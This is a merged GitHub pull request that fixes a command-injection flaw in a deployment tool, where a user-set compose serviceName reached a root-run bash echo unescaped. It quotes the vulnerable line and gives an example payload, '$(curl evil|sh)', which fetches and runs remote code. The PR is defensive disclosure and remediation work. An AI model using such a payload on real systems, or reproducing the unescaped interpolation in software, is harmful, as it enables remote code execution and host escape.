Skip to content

fix(security): command injection via compose domain serviceName (host escape) - #4872

Merged
narcisonunez merged 4 commits into
canaryfrom
fix/cmdi-domain-servicename
Aug 11, 2026
Merged

fix(security): command injection via compose domain serviceName (host escape)#4872
narcisonunez merged 4 commits into
canaryfrom
fix/cmdi-domain-servicename

Conversation

@Siumauricio

@Siumauricio Siumauricio commented Jul 20, 2026

Copy link
Copy Markdown
Contributor

Fixes GHSA-xmmr-fhf3-cwwj (Authenticated RCE + Host Escape via Command Injection in Domain Management).

Problem

writeDomainsToCompose returns a shell fragment that getBuildComposeCommand embeds verbatim into the bash script run (as root) during a compose deploy. On the error path it interpolated error.message straight into an echo:

return `echo "❌ Has occurred an error: ${error?.message || error}"; exit 1;`;

That error message embeds the user-controlled serviceName (and host) from addDomainToCompose. A member with domain:create on a compose service can set serviceName to e.g. $(curl evil|sh); when the service is not found, the message — and the payload — is executed. With the Docker socket mounted this escapes to the host.

Fix

Escape the message with shell-quote's quote() before it enters the echo, and drop the @ts-ignore by narrowing the error. The value now reaches the shell as a single inert literal.

Verification

  • Unit test (__test__/compose/domain-command-injection.test.ts): mocks the compose file so a missing service forces the error path; asserts payloads ($(touch), backtick, ;, &&|) parse as literal tokens (no operator tokens leak) while the legit message stays intact.
  • Confirmed independently that every payload collapses to one quoted token and legit output stays readable.

Closes GHSA-xmmr-fhf3-cwwj.

Greptile Summary

This PR prevents command injection through compose-domain error messages by shell-quoting the complete message before embedding it in the deployment script.

  • Narrows caught values safely without @ts-ignore.
  • Adds regression coverage for command substitution, backticks, semicolons, pipes, and logical operators.

Confidence Score: 5/5

The PR appears safe to merge and closes the reported command-injection path without introducing a concrete regression.

The complete attacker-influenced error message is passed through the existing shell-quote dependency as one inert shell argument before the generated deployment command executes.

Reviews (1): Last reviewed commit: "fix: sort imports in domain.ts (biome)" | Re-trigger Greptile

Context used:

… injection

writeDomainsToCompose returns a shell fragment that is executed as part of the
compose build script. On error it interpolated error.message (which embeds the
user-controlled serviceName/host) directly into an echo, so a serviceName like
$(cmd) executed as root. Escape the message with quote().
@dosubot dosubot Bot added size:XS This PR changes 0-9 lines, ignoring generated files. bug Something isn't working labels Jul 20, 2026
…teral check)

quote() legitimately wraps the payload text inside single quotes, so the raw
substring is present but inert. leaksShellSyntax (via shell-quote parse) is the
correct assertion; the literal not.toContain check was wrong.
@dosubot dosubot Bot added the lgtm This PR has been approved by a maintainer label Aug 11, 2026
@narcisonunez
narcisonunez merged commit c05e6d5 into canary Aug 11, 2026
6 checks passed
@narcisonunez narcisonunez added the hotfix Cherry-pick this fix to main for next patch release label Aug 11, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working hotfix Cherry-pick this fix to main for next patch release lgtm This PR has been approved by a maintainer size:XS This PR changes 0-9 lines, ignoring generated files.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants